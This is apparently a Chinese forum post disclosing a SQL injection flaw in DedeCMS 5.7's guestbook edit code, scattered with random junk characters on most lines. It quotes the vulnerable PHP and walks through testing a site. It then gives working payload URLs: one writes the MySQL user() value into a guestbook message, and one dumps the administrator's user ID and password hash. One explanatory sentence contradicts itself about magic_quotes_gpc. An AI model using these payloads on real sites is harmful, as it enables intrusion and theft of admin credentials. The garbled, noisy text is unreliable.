影响版本为5.7
1 a# s) }% d8 ~* s' N5 z, v2 I3 Y
5 C9 p/ {2 P ^# y! W4 f& p漏洞文件edit.inc.php具体代码:
- g) ~$ @) T2 [$ x* {5 |8 ]& y
& p3 H. B4 z6 f7 q6 L" u< ?php
' U" W7 q( }) r6 x. _
* N9 V& m3 G. fif(!defined('DEDEINC')) exit('Request Error!'); ' k# Z @3 M* Y- N9 L/ G
( I \) ]! V1 y. X1 p$ @
( h# y" E3 J9 F; e0 J8 f, e" Q
- y' q: n* C* M) `5 h
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
1 U3 Q' N: D) w+ V, _& F E& c- C8 V w& ]/ v
else $GUEST_BOOK_POS = "guestbook.php"; : |- ~" C3 [$ q9 c9 N$ s
6 h7 J/ t+ c9 u9 p/ h& K4 H1 P
# L6 ^0 a3 U; T* w+ {) Z, t# M) k8 {. }; o. i" k
$id = intval($id); . ~9 ]" l2 O7 b# }' k" q
( a6 \6 g W6 s4 ~& gif(empty($job)) $job='view'; ) Q4 W9 N3 d" j4 k
4 w; ]0 t; y9 I# ^
, R2 C- x$ F, e) l8 }9 U( V
0 ]- v. p% ]( v; x: B% Z' M
if($job=='del' && $g_isadmin)
; x2 y/ `) O' r" ]- b+ O& a1 L
! h1 h! C e0 H, V{ ) Z& W7 q% y2 L1 S% f Q
0 ?# N" `8 D% f& @ ~$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); + b' y: o0 v. O3 g4 o: G B
0 ^7 B+ d1 {0 M7 Y0 p; }% b5 @ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); % ?2 M) _- U6 @8 K# e! U4 }6 R
+ C' D: v) i3 ~. A0 Q: N
exit();
" c% C% z7 D/ o
9 U( L& n1 o0 ]8 d' s& ^}
; C% j" W' c" S7 ~" @: P. r- b4 G- I$ [" c! g
else if($job=='check' && $g_isadmin) 3 ]2 J! [5 H3 Z) e, V0 k
2 ], Q" m9 J/ f
{ $ q8 d. U9 F0 a9 l- w# N/ I
, f8 t, b8 Z! Y# y) f N$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); # g7 d; Z7 U, \7 Y
: c( v6 u& b: B0 O+ x7 o
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ) k. I# z: W1 p; {, V$ U
! c5 a: I5 k0 j1 R0 e
exit();
6 ]8 o6 |1 X! C5 J7 ~9 s& y4 q/ f) Y
} ( ` h) Z4 i( }% N' R2 S) l
+ e7 M+ \3 |( Welse if($job=='editok')
) f# \* Q3 U; E! w" M- Y9 z. O
5 B: T5 c. a- ?# J4 L{ : h. T" n7 {1 q7 u& x9 r6 `, F
; A: {; `7 M: y/ H2 g. k0 {
$remsg = trim($remsg); $ [9 D" r7 m8 t8 D: ^' M
7 N& G; r4 `6 ^5 Eif($remsg!='') : ~ L4 V3 u2 c
. g9 b/ l. q6 p: }{ 3 @- S9 E- \$ t/ n' x) ^
; D& ]+ {8 D. X2 X3 ~//管理员回复不过滤HTML By:Errorera blog:errs.cc
6 w: t M% \& q8 R& d- j
1 c) _# f8 C: i; A5 Gif($g_isadmin)
5 v9 i o) G$ u; p0 M) G' X' ^( W: U' u" W- C9 l9 y
{ : `5 k5 a! i- ]
" l2 ?/ L3 \2 e$ s0 b9 G( G$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 4 V. }$ g+ }+ G7 B+ s+ ?
3 {+ u4 e. f$ L9 H
//$remsg <br /><font color=red>管理员回复:</font> }
0 P3 l0 r5 ~. p0 N3 X' w
R: S, J8 ]" J) s+ r) Z3 q1 ?/ U/ uelse
% n9 F$ }$ P, M, C l; A8 ^" S7 v5 J* G; x" F
{ - y& d' i& y: I* g j/ x4 O
! G" R. s: s0 m1 B" E& ~
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 4 H _+ t+ q J l) z
( h$ f& H- y3 @
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ; L/ g9 ]4 g1 T+ K
4 V' [1 d. f" M( H
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); , G- ]$ e s- W; K8 }7 i' O/ K. E, E
* k- K" w6 [2 F8 W9 X
$msg = $oldmsg.$remsg; - x. y2 d7 T7 K7 J Y6 ]/ S
& K( t+ L9 O4 _
}
& r% F6 n; S8 j: ]. x4 `/ A% a1 g1 M
} # X0 G+ n/ d- j4 w; l
& R: F A' l9 I Y7 W. x* T
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc $ p; O4 O5 [/ q
8 J- j+ ^/ _' O) k" l$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 4 `. Z! L+ R& ?. h3 ?* U/ B: u0 o
3 n$ U3 z" x( X1 Z+ }ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
% e$ \8 ]7 Y* s/ O3 E# d7 Q E% {; l% B; v# \
exit(); 1 T+ D5 n0 Q8 @/ M$ b! v
4 m# n* }0 q; |! ?. w) q0 G1 Y5 [}
- Q$ S6 y! x8 Q4 h+ l. y% l4 f& \. l0 M
//home:www.errs.cc
) `0 V0 I& h/ Y/ c9 i# D5 F: C
, p$ _9 R: P T v, W% [if($g_isadmin)
7 Q3 g- U- a. p+ Z) N6 d$ U3 {- B; L# a/ w+ K! D* u$ y
{
; Q- h4 z; z) D" j7 j
- r% w7 u5 g( X+ x1 G$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
/ G0 Z, @/ \. l7 _$ B2 g3 x. N) t
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 5 M2 ~8 u$ p5 X& y/ D
; C+ x" |9 R6 ] J3 ?} + m4 t2 T0 b5 \! K: u9 m
* Q6 a9 r: s0 velse
2 z6 ?9 m g' I: i* g" c" O8 T8 Y
{ & O2 \ n' h- D3 {; R, g& P
$ v7 G. D \$ P- [$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
1 }3 B" [7 M0 {' |0 q% |# R' e; b7 L
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 2 |, U& e1 b3 Y) G1 f% p
3 `( `; ?6 n4 V: H0 J} 漏洞成功需要条件:
# E: f9 ~- Q$ y# _6 G6 D, S6 @1. php magic_quotes_gpc=off
" V1 G' y: f' t' w- i" @7 h2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。/ Z, r3 M+ J+ r+ t' v
4 [+ n; Q+ [2 ]3 X5 x怎么判断是否存在漏洞:4 W) q( l* o8 O
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,4 B8 c0 R0 N" m, @4 p
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
2 V, V8 c* j$ Z3 x- V# i访问:
! g* c# _. k7 w9 {! C1 w: P Q, Q) i$ X1 D) S/ A1 p2 i
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
; p: u. H, C: z# A. E跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证* r( V( j9 }: l. F s, f
& U, g* \% U1 @0 D; v' |
! h3 M7 u3 l. s P5 }明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
2 p( ]) I8 f. O7 @) x如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
/ G: q& m' l. M: G那么再次访问
+ N1 e5 \2 r& @. m) ^9 g) o$ u O
" J& w$ h3 P' x0 Pwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().& U2 \- {& t4 |6 T7 l5 H' T
3 y9 A8 ^0 v# Z; d2 p6 v+ M* R/ ^
大概利用就是这样,大家有兴趣的多研究下!!8 t- G5 z. k7 C9 |' R4 l& |
k$ L- m3 X5 i) q
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!* k' g( ?# n+ W8 a
0 Y6 x" b" H9 E, I' j8 D" vview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |